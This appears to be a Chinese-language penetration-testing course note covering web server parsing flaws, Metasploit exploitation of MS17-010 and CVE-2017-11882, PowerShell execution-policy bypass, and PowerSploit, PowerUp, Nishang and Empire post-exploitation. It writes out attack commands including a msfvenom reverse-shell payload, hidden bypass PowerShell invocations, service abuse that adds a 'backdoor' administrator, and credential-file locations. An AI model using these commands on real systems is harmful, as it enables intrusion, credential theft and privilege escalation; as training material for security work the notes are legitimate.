  • IIS7.0 (Win2008 R1 + IIS7.0) [Success]
  • IIS7.5 (Win2008 R2 + IIS7.5) [Success]

Apache解析漏洞:Apache/2.2.6 xxx.php.xxxxxx

  •  WampServer2.0All Version (Apache 2.2.11) [Success]
  • WampServer2.1All Version (Apache 2.2.17) [Success]
  • Wamp5 All Version (Apache 2.2.6) [Success]
  • AppServ 2.4All Version (Apache 2.0.59) [Success]
  • AppServ 2.5All Version (Apache 2.2.8) [Success]
  • AppServ 2.6All Version (Apache 2.2.8) [Success]

Nginx解析漏洞:测试版本 :0.7.63 xxx.jpg%00.php xxx/1.jpg/1.php

测试版本 :0.7.63 文件类型错误 xxx/1.jpg/1.php

1:创建一张图片

2:用Uedit32打开嵌入代码

 

 Nginx解析漏洞:

  • Nginx 0.5.*  [Success]
  • Nginx 0.6.* [Success]
  • Nginx 0.7 <= 0.7.65 [Success]
  • Nginx 0.8 <= 0.8.37 [Success]

php-cgi 解析漏洞:Nginx 1.11.5 / php5.3.29 xxx.jpg/.php

Metasploit漏洞利用:

  • MS17-010
  • 首先使用漏洞探测工具探测存在漏洞的机器

 

 发现存在该漏洞的机器

设置攻击模块 

获得权限 

  • CVE-2017-11882:使用msf生成shellcode: msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx.xxx.xx.xxx LPORT=xxxx -o ./payload.c 使用python脚本生成word CVE-2017-11882.py -c payload.c -t 0 -i 1 -o test.doc
  • Msf启动监听

 运行word

 获得权限

PowerShell技术第一种我们需要获得免杀或者更好的隐蔽攻击对方的win机器,可以通过钓鱼等方式直接执行命令 第二种我们已经到了对方网络,或是一台DMZ的win机器,那么我们利用PowerShell对内网继续深入

常用的PowerShell攻击工具:PowerSploit:这是众多PowerShell攻击工具中被广泛使用的PowerShell后期的漏洞利用框架,常用来进行信息探测,特权提升,凭证窃取,持久化等操作。 Nishang:基于PowerShell的渗透测试专用工具,集成了框架,脚本和各种Payload,包含下载和执行,键盘记录,DNS,延时命令等脚本。 Empire:基于PowerShell的远程控制木马,可以从凭证数据库中导出和跟踪凭证信息,常用于提供前期漏洞利用的集成模块,信息探测,凭证窃取,持久化控制。 PowerCat:PowerShell版的NetCat,有着网络工具中的”瑞士军刀”美誉,它能通过TCP和UDP在网络中读取数据。通过与其他工具结合和重定向,可以在脚本中以多种方式使用它。

PowerShell简介: PowerShell是一种基于任务的命令行解释器和脚本环境,可以说是一种强大的shell,如同linux的bash,专为系统管理员而设计,以.NET框架为平台,Windows PowerShell帮助IT专业人员和超级用户控制和自动化管理Windows操作系统和运行在操作系统上的应用。现被更广泛用于渗透测试等方面,在不需要写入磁盘的情况下执行命令,也可以逃避Anti-Virus检测。另外,可以把PowerShell看作命令行提示符cmd.exe的扩充。

PowerShell优点:

  • 基于.NET框架
  • 操作系统信任
  • 提供win系列操作系统的几乎一切访问权限
  • win7之后默认安装
  • 脚本可以运行在内存中,不需要写入磁盘
  • cmd.exe通常会被安全软件阻止,一般PowerShell不会

 PowerShell版本:

可以输入Get-Host或者$PSVersionTable.PSVERSION命令查看当前系统的PowerShell版本 

 PowerShell基本概念:PS1文件: 一个PowerShell脚本其实就是一个简单的 文本文件,这个文件包含执行策略: 为防止恶意脚本的执行,PowerShell有一个执行策略,默认情况下,这个执行策略被设置为受限。 我们可以使用: Get-ExecutionPolicy  命令查看PowerShell当前的执行策略。它有4个策略。 Restricted:脚本不能运行(默认设置) RemoteSigned:本地创建的脚本可以运行,但是从网上下载的脚本不能运行(拥有数字证书签名的除外) AllSigned:仅当脚本由受信任的发布者签名时才能运行; Unrestricted:允许所有的脚本执行 另外修改PowerShell执行策略:Set-ExecutionPolicy 策略名 #该命令需要管理员权限运行了一系列的 PowerShell命令,每个命令显示为独立的一行,PowerShell文件的后缀为 .PS1。

运行脚本:运行一个脚本,必须键入完整的路径和文件名,例如,你要运行一个名为a.ps1的脚本,可以键入c:\script\a.ps1 但如果PowerShell脚本文件在你的系统目录中,那么在命令提示符后直接键入脚本文件名即可运行,如.\a.ps1的前面就加上“.\”,这和在Linux下执行Shell脚本的方法一样。

 管道:管道的作用就是将一个命令的输出作为另一个命令的输入,两个命令之间用管道符号(|)连接 例如: 假设停止所有目前运行中的,以“note"字符开头命名的程序 Get-Process note*|stop-process

基本知识: 在PowerShell下,类似“cmd命令”叫做“cmdlet” ,其命令的命名规范很一致,都采用了 动词-名词的形式,如Net-Item,动词一般为Add、New、Get、Remove、Set等。PowerShell还兼容cmd和Linux命令,如查看目录可以使用 dir 或者 ls ,并且PowerShell命令不区分大小写。 后面会以文件操作为例讲解PowerShell命令的基本用法

文件操作类的PowerShell命令: 新建目录test:New-Item test -ItemType directory 删除目录test:Remove-Item test 新建文件test.txt:New-Item test1.txt -ItemType file 新建文件test.txt,内容为 hello:New-Item test.txt -ItemType file -value "hello" 查看文件test.txt内容:Get-Content  test.txt 设置文件test.txt内容t:Set-Content  test.txt  -Value "haha" 给文件test.txt追加内容:Add-Content test.txt  -Value ",word!" 清除文件test.txt内容:Clear-Content test.txt 删除文件test.txt:Remove-Item test.txt

绕过执行策略执行PowerShell脚本:如果运行PowerShell脚本程序,必须用管理员权限将Restricted策略改成Unrestricted 在渗透测试时,就需要采用一些方法绕过策略来执行PowerShell脚本,列举如下三种方式 1.绕过本地权限执行 2.本地隐藏绕过权限执行脚本 3.用IEX下载远程PS1脚本绕过权限执行。

上传test.ps1到目标主机,在cmd环境下,在目标主机本地当前目录执行该脚本 powershell -exec bypass  .\test.ps1

 powershell.exe -exec bypass -W hidden -nop  test.ps1 输入命令执行后会退出命令提示符

 用IEX下载远程PS1脚本绕过权限执行

 PowerShell命令参数说明:对上述命令参数进行说明 ExecvtionPolicy Bypass(-exec bypass):绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PoweShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则; WindowStyle Hidden(-w hidden):隐藏窗口,也就是执行完命令后,窗口隐藏; -command(-c):执行powershell脚本; NoProfile(-nop):PowerShell控制台不加载当前用户的配置文件; NoLogo:启动不显示版权标志的PowerShell; Nonlnteractive(-noni):非交互模式; Noexit:执行后不退出shell,这在使用键盘记录等脚本时非常重要; -enc  base64: 把ps脚本编码成base64来执行,实战用的最多;

PowerSploit简介:PowerSploit是一款基于PowerShell的后渗透框架软件,包含了很多PowerShell的攻击脚本,它们主要用于渗透中的信息侦测,权限提升、权限维持等。PowerSploit项目地址:https://github.com/PowerShellMafia/PowerSploit

ActivirusBypass:绕过杀毒软件查杀

CodeExecution:在目标主机上执行代码

Exfiltration:目标主机上的信息搜集工具

Mayhem:蓝屏等破坏性的脚本 Persistence:权限维持 Privsec:提权等脚本

Recon:以目标主机为跳板进行内网信息侦查

ScriptModification:在目标主机上创建或修改脚本 

PowerSploit安装:下载PowerSploit脚本到服务器,搭建一个简易的WEB服务器。将PowerSploit目录放到WEB目录,使其可以通过HTTP访问到。 这里以kali服务器为例,介绍两种方式 第一种方式: 开启apache服务:service apache2 start 将powersploit目录放到/var/www/html/中 第二种方式: 切换到powersploit目录,然后执行如下命令开启WEB服务器 python3 -m http.server 8080 Git clone https://github.com/PowerShellMafia/PowerSploit

在浏览器中打开WEB服务器地址,如下图所示

 PowerSploit脚本攻击实战:PowerSploit提供了各类攻击脚本,数量相当多,这里介绍一些在实战中使用比较多的脚本,其他的大家可以尝试使用。 利用这些脚本一般是通过我们前期获取的目标shell,在命令行中远程下载这些脚本,在目标服务器上使用。 为方便,这里我们直接在目标服务器做这些操作。

Invoke-Shellcode脚本:CodeExecution模块下的Invoke-Sellcode脚本常用于将ShellCode插入本地Powershell中或者指定的进程ID。 直接执行ShellCode反弹Meterpreter Shell 首先在MSF里使用reverse_https模块进行监听

 

 

 Invoke-Mimikatz 信息收集:Mimikatz本身在内网渗透中作用很大,PowerSploit将其集成到Exfiltration模块下,Mimikatz用来抓取主机密码,注意的是这个脚本的运行需要管理员权限。

 

 然后载入脚本

 Get-Keystrokes 键盘记录器

 

 PowerUP攻击模块:Powerup是Privesc模块下的一个脚本,功能相当强大,拥有众多实用的脚本来帮助我们寻找目标主机Windows服务漏洞进行提权。 通常,在Windows下面我们可以通过内核漏洞来提升权限,但是,我们常常会碰到所处服务器通过内核漏洞提权是行不通的,这个时候,我们就需要通过脆弱的Windows服务提权,比如我们替换掉服务所依赖的DLL文件,当服务重启时,加载我们替换的DLL文件从而完成比如添加管理员账号的操作。或者通过常见的Mssql,Mysql等服务,通过其继承的系统权限来完成提权等等,而今天我将介绍一个非常实用的Powerup模块,此模块可以在内核提权行不通的时候,帮助我们寻找服务器脆弱点进而通过脆弱点实现提权的目的。

 如果要查看各个模块的详细说明,可以输入get-help [cmdlet] –full命令查看,比如 Get-Help Invoke-AllChecks -full

 下面开始对模块介绍: 1.Invoke-AllChecks

执行所有的脚本来检查。

执行方式: PS C:> Invoke-AllChecks

2.Find-PathDLLHijack

检查当前%PATH%是否存在哪些目录是当前用户可以写入的

执行方式: PS C:>Find-Pathdllhijack

3. Get-ApplicationHost 从系统上的applicationHost.config文件恢复加密过的应用池和虚拟目录的密码。

执行方式: PS C:>get-ApplicationHost

PS C:>get-ApplicationHost | Format-Table -Autosize # 列表显示

4. Get-RegistryAlwaysInstallElevated 检查AlwaysInstallElevated注册表项是否被设置,如果被设置,意味着的MSI文件是以system权限运行的。 执行方式: PS C:>Get-RegistryAlwaysInstallElevated

5. Get-RegistryAutoLogon 检测Winlogin注册表AutoAdminLogon项有没有被设置,可查询默认的用户名和密码。 执行方式: PS C:> Get-RegistryAutoLogon

6. Get-ServiceDetail 返回某服务的信息。 执行方式: PS C:> Get-ServiceDetail -ServiceName Dhcp #获取DHCP服务的详细信息

7. Get-ServiceFilePermission 检查当前用户能够在哪些服务的目录写入相关联的可执行文件,通过这些文件可达到提权的目的。 执行方式: C:> Get-ServiceFilePermission

8. Test-ServiceDaclPermission 检查所有可用的服务,并尝试对这些打开的服务进行修改,如果可修改,则返回该服务对象。 执行方式: PS C:>Test-ServiceDaclPermission

9. Get-ServiceUnquoted 检查服务路径,返回包含空格但是不带引号的服务路径。 此处利用的windows的一个逻辑漏洞,即当文件包含空格时,windows API会解释为两个路径,并将这两个文件同时执行,有些时候可能会造成权限的提升。 比如C:program fileshello.exe ,会被解释为C:program.exe以及C:program fileshello.exe 执行方式: PS C:>Get-ServiceUnquoted

10. Get-UnattendedInstallFile 检查几个路径,查找是否存在这些文件,在这些文件里可能包含有部署凭据。这些文件包括: c:\sysprep\sysprep.xml c:\sysprep\sysprep.inf c:sysprep.inf c:\windows\Panther\Unattended.xml c:\windows\Panther\UnattendUnattended.xml c:\windows\Panther\Unattend.xml c:\windows\Panther\UnattendUnattend.xml c:\windows\S\ystem32\Sysprep\unattend.xml c:\windows\System32\Sysprep\Panther\unattend.xml 执行方式: PS C:> Get-UnattendedInstallFile

11. Get-ModifiableRegistryAutoRun 检查开机自启的应用程序路径和注册表键值,返回当前用户可修改的程序路径。 注册表检查的键值为: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceService HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunService HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceService 执行方式: PS C:>Get-ModifiableRegistryAutoRun

12. Get-ModifiableScheduledTaskFile 返回当前用户能够修改的计划任务程序的名称和路径。 执行方式: PS C:>Get-ModifiableScheduledTaskFile

13. Get-Webconfig 返回当前服务器上的web.config文件中的数据库连接字符串的明文。 执行方式: PS C:>get-webconfig

14. Invoke-ServiceAbuse 用来通过修改服务添加用户到指定组,并可以通过定制-cmd参数触发添加用户的自定义命令。 执行方式: PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC # 添加默认账号 PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName "TESTLABjohn" # 指定添加域账号 PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName backdoor -Password password -LocalGroup "Administrators" # 指定添加用户,用户密码以及添加的用户组。 PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -Command "net ..."# 自定义执行命令

15. Restore-ServiceBinary 恢复服务的可执行文件到原始目录。 执行方式: PS C:> Restore-ServiceBinary -ServiceName VulnSVC

16. Test-ServiceDaclPermission 检查某个用户是否在一个服务有自由访问控制的权限,返回true或false。 执行方式: PS C:> Restore-ServiceBinary -ServiceName VulnSVC

17. Write-HijackDll 输出一个自定义命令并且能够自删除的bat文件到$env:Tempdebug.bat,并输出一个能够启动这个bat文件的dll。

18.Write-UserAddMSI 生成一个安装文件,运行这个安装文件,则弹出添加用户的框。 执行方式: PS C:> Write-UserAddMSI

19. Write-ServiceBinary 预编译C#服务的可执行文件。默认创建一个默认管理员账号。可通过Command定制自己的命令。 执行方式: PSC:>Write-ServiceBinary -ServiceName VulnSVC # 添加默认账号 PSC:>Write-ServiceBinary -ServiceName VulnSVC -UserName "TESTLABjohn" # 指定添加域账号 PSC:>Write-ServiceBinary-ServiceName VulnSVC -UserName backdoor -Password Password123! # 指定添加用户,用户密码以及添加的用户组 PSC:> Write-ServiceBinary -ServiceName VulnSVC -Command "net ..." # 自定义执行命令

20. Install-ServiceBinary 通过Write-ServiceBinary写一个C#的服务用来添加用户。 执行方式: PSC:> Install-ServiceBinary -ServiceName DHCP PSC:> Install-ServiceBinary -ServiceName VulnSVC -UserName "TESTLABjohn" PSC:>Install-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password Password123! PSC:> Install-ServiceBinary -ServiceName VulnSVC -Command "net ..." Write-ServiceBinary与Install-ServiceBinary不同的是前者生成可执行文件,后者直接安装服务。

PowerUP攻击模块实战演练:很多PowerUp模块不能一一演示,只针对性介绍几个常用模块的实战应用。

实战演练一:首先我们安装一个存在漏洞的服务环境: https://www.exploit-db.com/apps/4ebfe36538da7b518c2221e1abd8dcfc-pspro_50_3310.exe 安装好漏洞环境后,我们建一个普通用户:net user powerup 123456 /add 然后登录到这个新建的普通用户 我们可以把PowerUp脚本上传到目标服务器,或是远程内存加载 这里远程加载如下:

 然后调用Invoke-AllChecks

 先介绍下Unquoted Service Paths 简介 “包含空格但没有引号的服务路径”,利用windows解析文件路径的特性,如果一个服务的可执行文件路径设置不当,攻击者可构造对应的可执行文件,从而利用提权,PowerUp的相关模块可以帮助我们完成提权。

漏洞原理 这里假设有一个服务路径 C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe 带引号时:"C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe"会被看成一个完整的服务路径,故不会产生漏洞。 不带引号时:我们认为的服务路径是C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe,但是由于没有双引号的包裹,Windows会认为C:\Program空格后面的为Program这个程序的参数来进行启动服务。这样攻击者就可以命名一个为Program.exe的后门文件放在c盘下,进而等待含漏洞服务路径的启动或重启导致后门文件的执行。

根据前面调用Invoke-AllChecks,返回的结果存在包含空格但没有引号的服务路径 C:\Program Files (x86)\Photodex\ProShow Producer\ScsiAccess.exe 这时需要检测目录是否有写权限 C:\ 普通用户目录默认是不让写的 C:\Program Files (x86)\Photodex\ 可以使用cacls或icacls,可以看到当前用户不可写

 

 

 

 实战演练二:

 设置漏洞环境 管理员用户在“运行”设置框中输入“gpedit.msc”,打开组策略编辑器。 组策略——计算机配置——管理模板——Windows组件——Windows Installer——永远以高特权进行安装:选择启用。 设置完毕之后,会在两个注册表如下位置自动创建键值为”1″。 [HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001 防御的话,就是把上述启用的选项关闭

 Nishang简介:Nishang是一款基于PowerShell的渗透测试专用工具,集成了框架、脚本和各种Payload,包括下载和执行、键盘记录、DNS、延时命令等脚本,被广泛应用于渗透测试的各个阶段。 下载地址如下: https://github.com/samratashok/nishang

下载完成后我们可以看到以下工具里面都包括一些什么功能目录

 

 

 Nishang模块攻击实战:开始对部分模块的功能进行讲解: 1.Check-VM 它是用于检测当前的机器是否是一台已知的虚拟机的。它通过检测已知的一些虚拟机的指纹信息(如:Hyper-V, VMWare, Virtual PC, Virtual Box,Xen,QEMU)来识别,如下可看到是一台虚拟机

 2. Invoke-CredentialsPhish 这个脚本用来欺骗用户,让用户输入密码,在不输入正确密码关闭不了对话框,只能强子结束进程 Invoke-CredentialsPhish

 3. Get-PassHashes 在Administrator的权限下,可以dump出密码哈希值。这个脚本来自于msf中powerdump,但做出了修改,使得我们不再需要System权限就可以dump了

 4. Invoke-Mimikatz 需要管理员权限,抓取密码

 5. Show-TargetScreen 使用MJPEG传输目标机器的远程桌面的实时画面,在本机我们可以使用NC或者Powercat来进行监听。在本地使用支持MJPEG的浏览器(如:Firefox)访问本机对应监听端口,即可在浏览器上面看到远端传输回来的实时画面。 Victim(win7):Show-TargetScreen -IPAddres 192.168.199.129 -Port 5773 -Reverse Attacker(kali):netcat -nlvp 5773 | netcat -nlvp 8888 //这里我使用的neetcat

 6. Get-PassHints 获取用户的密码提示信息,需要有Administrator权限来读取sam hive 有的时候可以根据提示信息来生成密码文件,大大提高爆破的成功率。还有的人会将明文密码记录在这个提示信息中

 PowerShell交互式Shell:一、基于TCP协议的Powershell交互式Shell Invoke-PowerShellTcp是PowerShell交互式正向连接或反向连接shell,基于TCP协议。 参数介绍: -IPAddress <String> 选择-Reverse选项时是需要连接到的IP地址 -Port <Int32> 选择-Reverse选项时是需要连接到的端口,选择-Bind选项时是需要监听的端口。 -Reverse [<SwitchParameter>] 反向连接 -Bind [<SwitchParameter>] 正向连接

 

 

 

 

 

 权限提升:权限提升是指利用操作系统或软件应用程序中的漏洞、设计缺陷或配置疏忽,让应用或用户获得对受保护资源的高级访问权限。 这里我们主要讲通过Bypass UAC来提权 UAC(User Account Control,用户账号控制)是微软为了提高系统安全性在Windows Vista中引入的技术。UAC要求用户在执行可能影响计算机运行的操作或在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员。UAC在操作启动前对用户身份进行验证,以避免恶意软件和间谍软件在未经许可的情况下在计算机上进行安装操作或者对计算机设置进行更改。在Windows Vista及以后的版本中,微软设置了安全控制策略,分为高、中、低三个等级。高等级的进程有管理员权限;中等级的进程有普通用户权限;低等级的进程,权限是有限的,以保证系统在受到安全威胁时造成的损害最小。在权限不够的情况下,访问系统磁盘的根目录、Windows目录,以及读写系统登录数据库等操作,都需要经常UAC(User Account Control,用户账号控制)的认证。

需要UAC的授权才能进行的操作列表如下:

1.配置Windows Update

2.增加、删除账户

3.更改账户类型

4.更改UAC的设置 安装ActiveX 安装、卸载程序 安装设备驱动程序

5.将文件移动/复制到Program Files或Windows目录下

6.查看其它用户的文件夹

UAC有如下四种设置要求:   始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户 仅在程序试图更改我的计算机时通知我:这是UAC的默认设置。当本地Windows程序要使用高级别的权限时,不会通知用户。但是,当第三方程序要使用高级别的权限时,会提示本地用户 仅在程序试图更改我的计算机时通知我(不降低桌面的亮度):与上一条设置的要求相同,但在提示用户时不降低桌面的亮度 从不提示:当用户为系统管理员时,所有程序都会以最高权限运行 如何Bypass UAC 我们可以找一些以高权限运行的,但是并没有uac提示的进程,然后利用ProcessMonitor寻找他启动调用却缺失的如dll、注册表键值,然后我们添加对应的值达到bypass uac的效果。

UAC有如下四种设置要求:   始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户 仅在程序试图更改我的计算机时通知我:这是UAC的默认设置。当本地Windows程序要使用高级别的权限时,不会通知用户。但是,当第三方程序要使用高级别的权限时,会提示本地用户 仅在程序试图更改我的计算机时通知我(不降低桌面的亮度):与上一条设置的要求相同,但在提示用户时不降低桌面的亮度 从不提示:当用户为系统管理员时,所有程序都会以最高权限运行 如何Bypass UAC 我们可以找一些以高权限运行的,但是并没有uac提示的进程,然后利用ProcessMonitor寻找他启动调用却缺失的如dll、注册表键值,然后我们添加对应的值达到bypass uac的效果。

Invoke-PsUACme 提供了一些绕过UAC的方式。这个模块用的是UACME项目的DLL来Bypass UAC。方法对照表如下

 

 存放于nishang Antak-WebShell目录下,就是一个ASPX的大马,但是命令行是PowerShell,比单纯的cmd强大很多,功能比较齐全。 将Nishang的antak.aspx文件,放在IIS网站中 然后访问网站中的antak.aspx文件(出现登陆页面) Nishang的antak用户名:Disclaimer Nishang的antak密码:ForLegitUseOnly

 登陆成功,进入欢迎页面 输入help,可以得到帮助信息 输入ls,可以查看网站的目录结构 点击download,可以下载网站的重要文件 点击upload the file,可以上传木马文件

Empire简介:Empire是一款针对Windows平台的、使用Powershell脚本作为攻击载荷的渗透攻击框架工具,具有从stager生成、提权到渗透维持的一系列功能。Empire实现了无需powshell.exe就可运行Powershell代理的功能,还可以快速在后期部署漏洞利用模块,其内置模块有键盘记录、Mimikatz、绕过UAC、内网扫描等,使用能够躲避内网检测和大部分安全防护工具的查杀,简单来说就有点类似Metasploit,是一个基于PowerShell的远程控制木马。 Empire的全部功能可以参考其官方网站: http://www.powershellempire.com/

Empire安装:Empire运行在linux平台上 官方下载地址,不过很久没有更新,需要Python 2.6/2.7环境 https://github.com/EmpireProject/Empire 其他分支目前还有人在更新维护,需要Python 3.x环境 https://github.com/BC-SECURITY/Empire 可以选择其中一个安装使用,这里我们还是以官方这个来安装使用

 

 

 Empire的基本使用:基本使用会涉及如下内容: 1.帮助文档 2.设置监听 3.生成木马 4.连接主机和基本使用 5.信息收集 6.权限提升

帮助文档 ​运行Empire后,输入help命令查看具体的使用帮助。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

实训周笔记 的相关文章

  • window10安装minio

    1 首先第一步我们先下载minio 可以从官网上下不同的版本 下载地址 MinIO Code and downloads to create high performance object storage 2 启动minio 切记不要双击m
  • 众享比特李刘海:国密在超级账本Fabric中的应用

    导读 4月22日 超级账本Hyperledger北京Meetup在北京大学信息学院举行 本次会议由Hyperledger中国工作组和Linux基金会主办 安妮股份 版权区块链联盟 北京大学协办 专注于技术交流 实践分享 案例解析 作为Hyp
  • 六、ResNet网络详细解析(超详细哦)

    1 RestNet网络 1 1 RestNet网络结构 ResNet在2015年被提出 在ImageNet比赛classification任务上获得第一名 因为它 简单与实用 并存 之后很多方法都建立在ResNet50或者ResNet101

随机推荐

  • 《86盒应用于家居中控》——实现智能家居的灵动掌控

    近年来 智能家居产品受到越来越多消费者的关注 其便捷 舒适的生活方式让人们对未来生活充满期待 作为智能家居方案领域的方案商 启明智显生产设计的86盒凭借出色的性能和良好的用户体验 成功应用于家居中控系统 让家庭变得更加智能便捷 一 智能化生
  • 【Flink】flink提交到yarn时 自定义container的提交命令

    文章目录 1 概述 2 yarn 1 概述 在 Flink FLink 是如何与Yarn交互请求Container的 文章中 我们知道了Flink是如何启动ApplicationMaster的 以及如何申请Container的 然后在里面我
  • 如何做好一个BI项目的规划和需求定义?

    正所谓磨刀不误砍柴工 一个项目的启动 先得从金字塔顶端做好规划 摸清楚需求 背景 客观条件 可投入资源等 本文 BI项目详解的第一篇 先来谈谈BI项目的规划和需求定义 全文共3000字 读完需要 8分钟 一 如何启动一个BI项目 Q 一个项
  • 设计模式------适配器模式

    设计模式 适配器模式 文章目录 设计模式 适配器模式 前言 一 两种形式 二 UML图 对象的适配器模式 类的适配器模式 三 实现要点 四 应用场景 五 优点 六 缺点 七 本质 前言 适配器模式 Adapter Pattern 将一个接口
  • C语言实现两个整数相加

    思路 定义两个变量啊 存放要输入的整数 两个整数相加要存放在一个变量sum 此时可以先定义int sum 0 也可以直接int sum a b 这个意思是a b的值存放在sum 类型是int整型 输出sum即可 我犯的错误 是最后一个pri
  • OpenWrt源码目录

    分析的OpenWrt源码目录有助于分析OpenWrt的源码 一 原始目录 1 1 scripts 构建期间用到的各类脚本文件 它存放了一些脚本 使用了bash python perl等多种脚本语言 编译过程中 用于第三方软件包管理的feed
  • 开关稳压器详解(四)-Buck降压型开关稳压器自举电路

    在Buck开关中 常使用N MOS管作为功率开关管 相比于P MOS N MOS具有导通电阻低价格便宜且流过电流较大等优势 在同步结构中对于开关管的使用一般有两种方式 上管为P MOS 下管为N MOS 无需外部自举电路 上下管均为N MO
  • 建立任务,OSTaskCreate()源码解析

    想让uC OS 管理用户的任务 用户必须要先建立任务 用户可以通过传递任务地址和其它参数到以下两个函数之一来建立任务 OSTaskCreate 或 OSTaskCreateExt OSTaskCreate 与uC OS是向下兼容的 OSTa
  • matlab通过两点画线问题&&plot,line的用法和区别。

    先马 1 LINE并不等同于PLOT 我查过HELP 很多属性不同 2 对与外框的问题 PLOT可以用法BOX控制 LINE无外框 3 图形删除的问题 PLOT可用HOLD ON或OFF控制 LINE要是用DELET 因此建议使用PLOT
  • 尾行3解3D马赛克补丁

    尾行3解3D马赛克补丁 尾行3下载尾行3补丁尾行3图片尾行3去马赛克尾行3怎么玩尾行3下载尾行3视频illusion尾行3秘籍尾行3攻略秘籍 尾行3作弊单机游戏尾行3下载尾行3外挂尾行3对话单机游戏尾行3 尾行3中文补丁 尾行3黑屏补丁尾行
  • M1 Mac 安装Python及相关库|pytorch安装M1 Mac

    今天安装pytorch的时候发现安装的anaconda是x86版本的 自己的电脑是arm64架构的 所以一直安装不上 之后找到一个方法 以后可以通过命令行直接安装在arm64上运行的库了很方便 1 安装homebrew 这是一个mac上的包
  • 编译opencv.js

    opencv 支持编译多个平台 其中还支持JavaScript 不过编译需要emscripten 编译环境 centos7 Python2 7 1 下载OpenCV源码 官网 https opencv org releases 例如下载4
  • Docker如何安装seafile

    SQLite 方式 要在 Docker 中安装 Seafile 您可以按照以下步骤进行操作 安装 Docker 确保您的系统上已经安装了 Docker 您可以根据您的操作系统类型 在官方网站上找到适合您系统的 Docker 版本并进行安装
  • 数字化转型的趋势、挑战与战略【一】

    在全球经济进入数字化转型时期 数字化转型已成为传统企业必须付诸行动的必选题 企业为什么要进行数字化转型 如何把握数字化转型的时机 近日 在大华南IT高管共赢圈 大华南IT培训学院联合举办的 企业数据化转型的战略与规划 培训会上 IDC中国副
  • PyTorch:梯度计算之反向传播函数backward()

    一 计算图 计算图 是一种用来描述计算的有向无环图 我们假设一个计算过程 其中 X 1 mathbf X 1 X1 W 1
  • cmd更换主题配色

    cmd更换主题配色 去github下载colortool 地址 使用管理员打开cmd进入解压后的文件夹 执行命令 colortool exe b solarized light itermcolors 其他可选方案在schemes下 更换效
  • java反射基础巩固

    反射机制是在运行状态中 对于任意一个类 都能够知道这个类的所有属性和方法 对于任意一个对象 都能够调用它的任意一个方法和属性 这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制 一直以来反射技术都是Java中的闪亮点
  • 反射和多线程基础

    一 今日内容 1 1 课程回顾 1 2 反射是啥 1 3 进程和线程 1 4 线程的创建方式 1 5 线程的状态 1 6 线程的常用方法 二 课程回顾 Java的基本语法 1 数据类型 基本 引用 2 运算符 算术 逻辑 比较 赋值 位 三
  • 掌握的几种禁止转换八进制,十进制,十六进制

    1 十进制 除表示正负的符号外 以1 9开头 由0 9组成 如 128 234 278 2 八进制 以0开头 由0 7组成的数 如 0126 050000 3 十六进制 以0X或0x开头 由0 9 A F或a f 组成 如 0x12A 0x
  • 实训周笔记

    主机信息收集技术 基础知识 主要收集目标主机的相关信息 主要包括端口 服务 漏洞等信息 信息收集手段多样 可借助工具也多种多样 端口扫描 Nmap 主机信息收集技术 Nmap namp 192 168 1 1 namp A T4 v 192